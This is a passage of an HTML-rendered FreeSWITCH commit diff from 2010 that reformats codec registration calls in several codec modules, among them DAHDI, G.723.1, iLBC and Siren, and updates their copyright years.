-         fpnp,                                /* number of frames per network packet */
-         switch_dahdi_init,                 /* function to initialize a codec handle using this implementation */
-         switch_dahdi_encode,                /* function to encode raw data into encoded data */
-         switch_dahdi_decode,                /* function to decode encoded data into raw data */
-         switch_dahdi_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+        SWITCH_ADD_CODEC(codec_interface, "DAHDI G.729A 8.0k");        /* 8.0kbit */
</ins><span class="cx">
</span><del>-        mpf = 30000;
-        spf = 240;
-        bpfd = 480;
-        bpfc = 30;
-        fpnp = 30;
-        switch_core_codec_add_implementation(pool,
-         codec_interface,
-         SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-         18,                                /* the IANA code number */
-         "G729",                         /* the IANA code name */
-         NULL,                                /* default fmtp to send (can be overridden by the init function) */
-         8000,                                /* samples transferred per second */
-         8000,                                /* actual samples transferred per second */
-         8000,                                /* bits transferred per second */
-         mpf,                                /* number of microseconds per frame */
-         spf,                                /* number of samples per frame */
-         bpfd,                                /* number of bytes per frame decompressed */
-         bpfc,                                /* number of bytes per frame compressed */
-         1,                                /* number of channels represented */
-         fpnp,                                /* number of frames per network packet */
-         switch_dahdi_init,                 /* function to initialize a codec handle using this implementation */
-         switch_dahdi_encode,                /* function to encode raw data into encoded data */
-         switch_dahdi_decode,                /* function to decode encoded data into raw data */
-         switch_dahdi_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+        switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                 18,        /* the IANA code number */
+                                                                                 "G729",        /* the IANA code name */
+                                                                                 NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                 8000,        /* samples transferred per second */
+                                                                                 8000,        /* actual samples transferred per second */
+                                                                                 8000,        /* bits transferred per second */
+                                                                                 mpf,        /* number of microseconds per frame */
+                                                                                 spf,        /* number of samples per frame */
+                                                                                 bpfd,        /* number of bytes per frame decompressed */
+                                                                                 bpfc,        /* number of bytes per frame compressed */
+                                                                                 1,        /* number of channels represented */
+                                                                                 fpnp,        /* number of frames per network packet */
+                                                                                 switch_dahdi_init,        /* function to initialize a codec handle using this implementation */
+                                                                                 switch_dahdi_encode,        /* function to encode raw data into encoded data */
+                                                                                 switch_dahdi_decode,        /* function to decode encoded data into raw data */
+                                                                                 switch_dahdi_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx">
</span><del>-        SWITCH_ADD_CODEC(codec_interface, "DAHDI G.723.1 5.3k"); /* 5.3kbit */
-        mpf = 30000; /* Algorithmic delay of 37.5ms with 7.5ms of look-ahead delay */
</del><ins>+        mpf = 30000;
</ins><span class="cx">         spf = 240;
</span><span class="cx">         bpfd = 480;
</span><ins>+        bpfc = 30;
+        fpnp = 30;
+        switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                 18,        /* the IANA code number */
+                                                                                 "G729",        /* the IANA code name */
+                                                                                 NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                 8000,        /* samples transferred per second */
+                                                                                 8000,        /* actual samples transferred per second */
+                                                                                 8000,        /* bits transferred per second */
+                                                                                 mpf,        /* number of microseconds per frame */
+                                                                                 spf,        /* number of samples per frame */
+                                                                                 bpfd,        /* number of bytes per frame decompressed */
+                                                                                 bpfc,        /* number of bytes per frame compressed */
+                                                                                 1,        /* number of channels represented */
+                                                                                 fpnp,        /* number of frames per network packet */
+                                                                                 switch_dahdi_init,        /* function to initialize a codec handle using this implementation */
+                                                                                 switch_dahdi_encode,        /* function to encode raw data into encoded data */
+                                                                                 switch_dahdi_decode,        /* function to decode encoded data into raw data */
+                                                                                 switch_dahdi_destroy);        /* deinitalize a codec handle using this implementation */
+
+        SWITCH_ADD_CODEC(codec_interface, "DAHDI G.723.1 5.3k");        /* 5.3kbit */
+        mpf = 30000;                                /* Algorithmic delay of 37.5ms with 7.5ms of look-ahead delay */
+        spf = 240;
+        bpfd = 480;
</ins><span class="cx">         bpfc = 20;
</span><span class="cx">         fpnp = 10;
</span><del>-        switch_core_codec_add_implementation(pool,
-         codec_interface,
-         SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-         4,                                /* the IANA code number */
-         "G723",                         /* the IANA code name */
-         NULL,                                /* default fmtp to send (can be overridden by the init function) */
-         8000,                                /* samples transferred per second */
-         8000,                                /* actual samples transferred per second */
-         8000,                                /* bits transferred per second */
-         mpf,                                /* number of microseconds per frame */
-         spf,                                /* number of samples per frame */
-         bpfd,                                /* number of bytes per frame decompressed */
-         bpfc,                                /* number of bytes per frame compressed */
-         1,                                /* number of channels represented */
-         fpnp,                                /* number of frames per network packet */
-         switch_dahdi_init,                 /* function to initialize a codec handle using this implementation */
-         switch_dahdi_encode,                /* function to encode raw data into encoded data */
-         switch_dahdi_decode,                /* function to decode encoded data into raw data */
-         switch_dahdi_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+        switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                 4,        /* the IANA code number */
+                                                                                 "G723",        /* the IANA code name */
+                                                                                 NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                 8000,        /* samples transferred per second */
+                                                                                 8000,        /* actual samples transferred per second */
+                                                                                 8000,        /* bits transferred per second */
+                                                                                 mpf,        /* number of microseconds per frame */
+                                                                                 spf,        /* number of samples per frame */
+                                                                                 bpfd,        /* number of bytes per frame decompressed */
+                                                                                 bpfc,        /* number of bytes per frame compressed */
+                                                                                 1,        /* number of channels represented */
+                                                                                 fpnp,        /* number of frames per network packet */
+                                                                                 switch_dahdi_init,        /* function to initialize a codec handle using this implementation */
+                                                                                 switch_dahdi_encode,        /* function to encode raw data into encoded data */
+                                                                                 switch_dahdi_decode,        /* function to decode encoded data into raw data */
+                                                                                 switch_dahdi_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx">
</span><span class="cx">         SWITCH_ADD_API(api_interface, "dahdi_transcode", "DAHDI Transcode", dahdi_transcode_usage, NULL);
</span><span class="cx">         switch_console_set_complete("add dahdi_transcode");
</span></span></pre></div>
<a id="freeswitchtrunksrcmodcodecsmod_g723_1mod_g723_1c"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/codecs/mod_g723_1/mod_g723_1.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/codecs/mod_g723_1/mod_g723_1.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/codecs/mod_g723_1/mod_g723_1.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -171,8 +171,8 @@
</span><span class="cx"> {
</span><span class="cx">         switch_codec_interface_t *codec_interface;
</span><span class="cx">         int ompf = 30000, ospf = 240, obpf = 480, oebpf = 24, count = 0;
</span><del>-        int mpf = ompf , spf = ospf , bpf = obpf , ebpf = oebpf ;
-        
</del><ins>+        int mpf = ompf, spf = ospf, bpf = obpf, ebpf = oebpf;
+
</ins><span class="cx">         /* connect my internal structure to the blank pointer passed to me */
</span><span class="cx">         *module_interface = switch_loadable_module_create_module_interface(pool, modname);
</span><span class="cx">         SWITCH_ADD_CODEC(codec_interface, "G.723.1 6.3k");
</span><span class="lines">@@ -180,8 +180,7 @@
</span><span class="cx">         for (count = 0; count < 4; count++) {
</span><span class="cx">                 switch_core_codec_add_implementation(pool, codec_interface,
</span><span class="cx">                                                                                          SWITCH_CODEC_TYPE_AUDIO, 4, "G723", NULL, 8000, 8000, 6300,
</span><del>-                                                                                         mpf , spf , bpf , ebpf , 1, count,
-                                                                                         switch_g723_init, switch_g723_encode, switch_g723_decode, switch_g723_destroy);
</del><ins>+                                                                                         mpf, spf, bpf, ebpf, 1, count, switch_g723_init, switch_g723_encode, switch_g723_decode, switch_g723_destroy);
</ins><span class="cx">                 mpf += ompf;
</span><span class="cx">                 spf += ospf;
</span><span class="cx">                 bpf += obpf;
</span></span></pre></div>
<a id="freeswitchtrunksrcmodcodecsmod_g729mod_g729c"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/codecs/mod_g729/mod_g729.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/codecs/mod_g729/mod_g729.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/codecs/mod_g729/mod_g729.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span></span></pre></div>
<a id="freeswitchtrunksrcmodcodecsmod_h26xmod_h26xc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/codecs/mod_h26x/mod_h26x.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/codecs/mod_h26x/mod_h26x.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/codecs/mod_h26x/mod_h26x.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span></span></pre></div>
<a id="freeswitchtrunksrcmodcodecsmod_ilbcmod_ilbcc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/codecs/mod_ilbc/mod_ilbc.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/codecs/mod_ilbc/mod_ilbc.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/codecs/mod_ilbc/mod_ilbc.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -46,10 +46,10 @@
</span><span class="cx">         int encoding = (flags & SWITCH_CODEC_FLAG_ENCODE);
</span><span class="cx">         int decoding = (flags & SWITCH_CODEC_FLAG_DECODE);
</span><span class="cx">         int mode = codec->implementation->microseconds_per_packet / 1000;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!(encoding || decoding) || (!(context = switch_core_alloc(codec->memory_pool, sizeof(*context))))) {
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><del>-        }
</del><ins>+        }
</ins><span class="cx">
</span><span class="cx">         if (codec->fmtp_in) {
</span><span class="cx">                 int x, argc;
</span><span class="lines">@@ -70,9 +70,9 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         codec->fmtp_out = switch_core_sprintf(codec->memory_pool, "mode=%d", mode);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (encoding) {
</span><span class="cx">                 ilbc_encode_init(&context->encoder_object, mode);
</span><span class="cx">         }
</span><span class="lines">@@ -80,7 +80,7 @@
</span><span class="cx">         if (decoding) {
</span><span class="cx">                 ilbc_decode_init(&context->decoder_object, mode, 0);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         codec->private_info = context;
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="lines">@@ -122,7 +122,7 @@
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        *decoded_data_len = (2 *ilbc_decode(&context->decoder_object, (int16_t *) decoded_data, (uint8_t *) encoded_data, encoded_data_len));
</del><ins>+        *decoded_data_len = (2 * ilbc_decode(&context->decoder_object, (int16_t *) decoded_data, (uint8_t *) encoded_data, encoded_data_len));
</ins><span class="cx">
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="lines">@@ -137,45 +137,41 @@
</span><span class="cx">
</span><span class="cx">         SWITCH_ADD_CODEC(codec_interface, "iLBC");
</span><span class="cx">
</span><del>-        switch_core_codec_add_implementation(pool,
-                                                                                 codec_interface,
-                                                                                 SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                 98,                                                /* the IANA code number */
-                                                                                 "iLBC",                                        /* the IANA code name */
-                                                                                 "mode=20",                                        /* default fmtp to send (can be overridden by the init function) */
-                                                                                 8000,                                                /* samples transferred per second */
-                                                                                 8000,                                                /* actual samples transferred per second */
-                                                                                 15200,                                                /* bits transferred per second */
-                                                                                 20000,                                                /* number of microseconds per frame */
-                                                                                 ILBC_BLOCK_LEN_20MS,                /* number of samples per frame */
</del><ins>+        switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                 98,        /* the IANA code number */
+                                                                                 "iLBC",        /* the IANA code name */
+                                                                                 "mode=20",        /* default fmtp to send (can be overridden by the init function) */
+                                                                                 8000,        /* samples transferred per second */
+                                                                                 8000,        /* actual samples transferred per second */
+                                                                                 15200,        /* bits transferred per second */
+                                                                                 20000,        /* number of microseconds per frame */
+                                                                                 ILBC_BLOCK_LEN_20MS,        /* number of samples per frame */
</ins><span class="cx">                                                                                  ILBC_BLOCK_LEN_20MS * 2,        /* number of bytes per frame decompressed */
</span><del>-                                                                                 ILBC_NO_OF_BYTES_20MS,                /* number of bytes per frame compressed */
-                                                                                 1,                                                        /* number of channels represented */
-                                                                                 1,                                                        /* number of frames per network packet */
-                                                                                 switch_ilbc_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                 switch_ilbc_encode,                /* function to encode raw data into encoded data */
-                                                                                 switch_ilbc_decode,                /* function to decode encoded data into raw data */
-                                                                                 switch_ilbc_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+                                                                                 ILBC_NO_OF_BYTES_20MS,        /* number of bytes per frame compressed */
+                                                                                 1,        /* number of channels represented */
+                                                                                 1,        /* number of frames per network packet */
+                                                                                 switch_ilbc_init,        /* function to initialize a codec handle using this implementation */
+                                                                                 switch_ilbc_encode,        /* function to encode raw data into encoded data */
+                                                                                 switch_ilbc_decode,        /* function to decode encoded data into raw data */
+                                                                                 switch_ilbc_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx">
</span><del>-        switch_core_codec_add_implementation(pool,
-                                                                                 codec_interface,
-                                                                                 SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                 97,                                                /* the IANA code number */
-                                                                                 "iLBC",                                        /* the IANA code name */
-                                                                                 "mode=30",                                        /* default fmtp to send (can be overridden by the init function) */
-                                                                                 8000,                                                /* samples transferred per second */
-                                                                                 8000,                                                /* actual samples transferred per second */
-                                                                                 13300,                                                /* bits transferred per second */
-                                                                                 30000,                                                /* number of microseconds per frame */
-                                                                                 ILBC_BLOCK_LEN_30MS,                /* number of samples per frame */
</del><ins>+        switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                 97,        /* the IANA code number */
+                                                                                 "iLBC",        /* the IANA code name */
+                                                                                 "mode=30",        /* default fmtp to send (can be overridden by the init function) */
+                                                                                 8000,        /* samples transferred per second */
+                                                                                 8000,        /* actual samples transferred per second */
+                                                                                 13300,        /* bits transferred per second */
+                                                                                 30000,        /* number of microseconds per frame */
+                                                                                 ILBC_BLOCK_LEN_30MS,        /* number of samples per frame */
</ins><span class="cx">                                                                                  ILBC_BLOCK_LEN_30MS * 2,        /* number of bytes per frame decompressed */
</span><del>-                                                                                 ILBC_NO_OF_BYTES_30MS,                /* number of bytes per frame compressed */
-                                                                                 1,                                                        /* number of channels represented */
-                                                                                 1,                                                        /* number of frames per network packet */
-                                                                                 switch_ilbc_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                 switch_ilbc_encode,                /* function to encode raw data into encoded data */
-                                                                                 switch_ilbc_decode,                /* function to decode encoded data into raw data */
-                                                                                 switch_ilbc_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+                                                                                 ILBC_NO_OF_BYTES_30MS,        /* number of bytes per frame compressed */
+                                                                                 1,        /* number of channels represented */
+                                                                                 1,        /* number of frames per network packet */
+                                                                                 switch_ilbc_init,        /* function to initialize a codec handle using this implementation */
+                                                                                 switch_ilbc_encode,        /* function to encode raw data into encoded data */
+                                                                                 switch_ilbc_decode,        /* function to decode encoded data into raw data */
+                                                                                 switch_ilbc_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx">
</span><span class="cx">         /* indicate that the module should continue to be loaded */
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span></span></pre></div>
<a id="freeswitchtrunksrcmodcodecsmod_sirenmod_sirenc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/codecs/mod_siren/mod_siren.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/codecs/mod_siren/mod_siren.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/codecs/mod_siren/mod_siren.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -56,7 +56,7 @@
</span><span class="cx">
</span><span class="cx">         if (!(encoding || decoding) || (!(context = switch_core_alloc(codec->memory_pool, sizeof(*context))))) {
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><del>-        }
</del><ins>+        }
</ins><span class="cx">
</span><span class="cx">         if (codec->fmtp_in) {
</span><span class="cx">                 int x, argc;
</span><span class="lines">@@ -77,9 +77,9 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         codec->fmtp_out = switch_core_sprintf(codec->memory_pool, "bitrate=%d", bit_rate);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (encoding) {
</span><span class="cx">                 g722_1_encode_init(&context->encoder_object, bit_rate, codec->implementation->samples_per_second);
</span><span class="cx">         }
</span><span class="lines">@@ -87,7 +87,7 @@
</span><span class="cx">         if (decoding) {
</span><span class="cx">                 g722_1_decode_init(&context->decoder_object, bit_rate, codec->implementation->samples_per_second);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         codec->private_info = context;
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="lines">@@ -99,11 +99,11 @@
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static switch_status_t switch_siren_encode(switch_codec_t *codec,
</span><del>-                                                                                 switch_codec_t *other_codec,
-                                                                                 void *decoded_data,
-                                                                                 uint32_t decoded_data_len,
-                                                                                 uint32_t decoded_rate, void *encoded_data, uint32_t *encoded_data_len, uint32_t *encoded_rate,
-                                                                                 unsigned int *flag)
</del><ins>+                                                                                 switch_codec_t *other_codec,
+                                                                                 void *decoded_data,
+                                                                                 uint32_t decoded_data_len,
+                                                                                 uint32_t decoded_rate, void *encoded_data, uint32_t *encoded_data_len, uint32_t *encoded_rate,
+                                                                                 unsigned int *flag)
</ins><span class="cx"> {
</span><span class="cx">         struct siren_context *context = codec->private_info;
</span><span class="cx">
</span><span class="lines">@@ -116,14 +116,14 @@
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static switch_status_t switch_siren_decode(switch_codec_t *codec,
</span><del>-                                                                                 switch_codec_t *other_codec,
-                                                                                 void *encoded_data,
-                                                                                 uint32_t encoded_data_len,
-                                                                                 uint32_t encoded_rate, void *decoded_data, uint32_t *decoded_data_len, uint32_t *decoded_rate,
-                                                                                 unsigned int *flag)
</del><ins>+                                                                                 switch_codec_t *other_codec,
+                                                                                 void *encoded_data,
+                                                                                 uint32_t encoded_data_len,
+                                                                                 uint32_t encoded_rate, void *decoded_data, uint32_t *decoded_data_len, uint32_t *decoded_rate,
+                                                                                 unsigned int *flag)
</ins><span class="cx"> {
</span><span class="cx">         struct siren_context *context = codec->private_info;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!context) {
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="lines">@@ -148,47 +148,43 @@
</span><span class="cx">
</span><span class="cx">         spf = 320, bpf = 640;
</span><span class="cx">         for (count = 3; count > 0; count--) {
</span><del>-                switch_core_codec_add_implementation(pool,
-                                                                                         codec_interface,
-                                                                                         SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                         107,                                                /* the IANA code number */
-                                                                                         "G7221",                                        /* the IANA code name */
-                                                                                         "bitrate=32000",                        /* default fmtp to send (can be overridden by the init function) */
-                                                                                         16000,                                                /* samples transferred per second */
-                                                                                         16000,                                                /* actual samples transferred per second */
-                                                                                         32000,                                                /* bits transferred per second */
-                                                                                         mpf * count,                                /* number of microseconds per frame */
-                                                                                         spf * count,                                /* number of samples per frame */
-                                                                                         bpf * count,                                /* number of bytes per frame decompressed */
-                                                                                         0,                                                        /* number of bytes per frame compressed */
-                                                                                         1,                                                        /* number of channels represented */
-                                                                                         1,                                                        /* number of frames per network packet */
-                                                                                         switch_siren_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                         switch_siren_encode,                /* function to encode raw data into encoded data */
-                                                                                         switch_siren_decode,                /* function to decode encoded data into raw data */
-                                                                                         switch_siren_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+                switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                         107,        /* the IANA code number */
+                                                                                         "G7221",        /* the IANA code name */
+                                                                                         "bitrate=32000",        /* default fmtp to send (can be overridden by the init function) */
+                                                                                         16000,        /* samples transferred per second */
+                                                                                         16000,        /* actual samples transferred per second */
+                                                                                         32000,        /* bits transferred per second */
+                                                                                         mpf * count,        /* number of microseconds per frame */
+                                                                                         spf * count,        /* number of samples per frame */
+                                                                                         bpf * count,        /* number of bytes per frame decompressed */
+                                                                                         0,        /* number of bytes per frame compressed */
+                                                                                         1,        /* number of channels represented */
+                                                                                         1,        /* number of frames per network packet */
+                                                                                         switch_siren_init,        /* function to initialize a codec handle using this implementation */
+                                                                                         switch_siren_encode,        /* function to encode raw data into encoded data */
+                                                                                         switch_siren_decode,        /* function to decode encoded data into raw data */
+                                                                                         switch_siren_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx">         }
</span><span class="cx">         spf = 640, bpf = 1280;
</span><span class="cx">         for (count = 3; count > 0; count--) {
</span><del>-                switch_core_codec_add_implementation(pool,
-                                                                                         codec_interface,
-                                                                                         SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                         115,                                                /* the IANA code number */
-                                                                                         "G7221",                                        /* the IANA code name */
-                                                                                         "bitrate=48000",                        /* default fmtp to send (can be overridden by the init function) */
-                                                                                         32000,                                                /* samples transferred per second */
-                                                                                         32000,                                                /* actual samples transferred per second */
-                                                                                         48000,                                                /* bits transferred per second */
-                                                                                         mpf * count,                                /* number of microseconds per frame */
-                                                                                         spf * count,                                /* number of samples per frame */
-                                                                                         bpf * count,                                /* number of bytes per frame decompressed */
-                                                                                         0,                                                        /* number of bytes per frame compressed */
-                                                                                         1,                                                        /* number of channels represented */
-                                                                                         1,                                                        /* number of frames per network packet */
-                                                                                         switch_siren_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                         switch_siren_encode,                /* function to encode raw data into encoded data */
-                                                                                         switch_siren_decode,                /* function to decode encoded data into raw data */
-                                                                                         switch_siren_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+                switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                         115,        /* the IANA code number */
+                                                                                         "G7221",        /* the IANA code name */
+                                                                                         "bitrate=48000",        /* default fmtp to send (can be overridden by the init function) */
+                                                                                         32000,        /* samples transferred per second */
+                                                                                         32000,        /* actual samples transferred per second */
+                                                                                         48000,        /* bits transferred per second */
+                                                                                         mpf * count,        /* number of microseconds per frame */
+                                                                                         spf * count,        /* number of samples per frame */
+                                                                                         bpf * count,        /* number of bytes per frame decompressed */
+                                                                                         0,        /* number of bytes per frame compressed */
+                                                                                         1,        /* number of channels represented */
+                                                                                         1,        /* number of frames per network packet */
+                                                                                         switch_siren_init,        /* function to initialize a codec handle using this implementation */
+                                                                                         switch_siren_encode,        /* function to encode raw data into encoded data */
+                                                                                         switch_siren_decode,        /* function to decode encoded data into raw data */
+                                                                                         switch_siren_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx">
</span><span class="cx">         }
</span><span class="cx">         /* indicate that the module should continue to be loaded */
</span></span></pre></div>
<a id="freeswitchtrunksrcmodcodecsmod_skel_codecmod_skel_codecc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/codecs/mod_skel_codec/mod_skel_codec.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/codecs/mod_skel_codec/mod_skel_codec.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/codecs/mod_skel_codec/mod_skel_codec.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -94,15 +94,14 @@
</span><span class="cx"> * SWITCH_STATUS_NOOP, NOOP indicates that the audio in is already the same as the audio out, so no conversion was necessary.
</span><span class="cx"> * SWITCH_STATUS_NOT_INITALIZED, failure to init, you can use this to init on first usage and no in switch_skel_init?
</span><span class="cx"> * */
</span><del>-static switch_status_t switch_skel_encode(switch_codec_t *codec,
-                                         switch_codec_t *other_codec, /* codec that was used by the other side */
-                                         void *decoded_data, /* decoded data that we must encode */
-                                         uint32_t decoded_data_len /* decoded data length */,
-                                         uint32_t decoded_rate /* rate of the decoded data */,
-                                         void *encoded_data, /* here we will store the encoded data */
-                                         uint32_t *encoded_data_len, /* here we will set the length of the encoded data */
-                                         uint32_t *encoded_rate /* here we will set the rate of the encoded data */,
-                                         unsigned int *flag /* frame flag, see switch_frame_flag_enum_t */)
</del><ins>+static switch_status_t switch_skel_encode(switch_codec_t *codec, switch_codec_t *other_codec,        /* codec that was used by the other side */
+                                                                                 void *decoded_data,        /* decoded data that we must encode */
+                                                                                 uint32_t decoded_data_len /* decoded data length */ ,
+                                                                                 uint32_t decoded_rate /* rate of the decoded data */ ,
+                                                                                 void *encoded_data,        /* here we will store the encoded data */
+                                                                                 uint32_t *encoded_data_len,        /* here we will set the length of the encoded data */
+                                                                                 uint32_t *encoded_rate /* here we will set the rate of the encoded data */ ,
+                                                                                 unsigned int *flag /* frame flag, see switch_frame_flag_enum_t */ )
</ins><span class="cx"> {
</span><span class="cx">         struct skel_context *context = codec->private_info;
</span><span class="cx">         /* FS core checks the actual samples per second and microseconds per packet to determine the buffer size in the worst case scenario, no need to check
</span><span class="lines">@@ -123,15 +122,15 @@
</span><span class="cx"> * SWITCH_STATUS_NOOP, NOOP indicates that the audio in is already the same as the audio out, so no conversion was necessary.
</span><span class="cx"> * SWITCH_STATUS_NOT_INITALIZED, failure to init, you can use this to init on first usage and no in switch_skel_init?
</span><span class="cx"> * */
</span><del>-static switch_status_t switch_skel_decode(switch_codec_t *codec, /* codec session handle */
-                                                                                 switch_codec_t *other_codec, /* what is this? */
-                                                                                 void *encoded_data, /* data that we must decode into slinear and put it in decoded_data */
-                                                                                 uint32_t encoded_data_len, /* length in bytes of the encoded data */
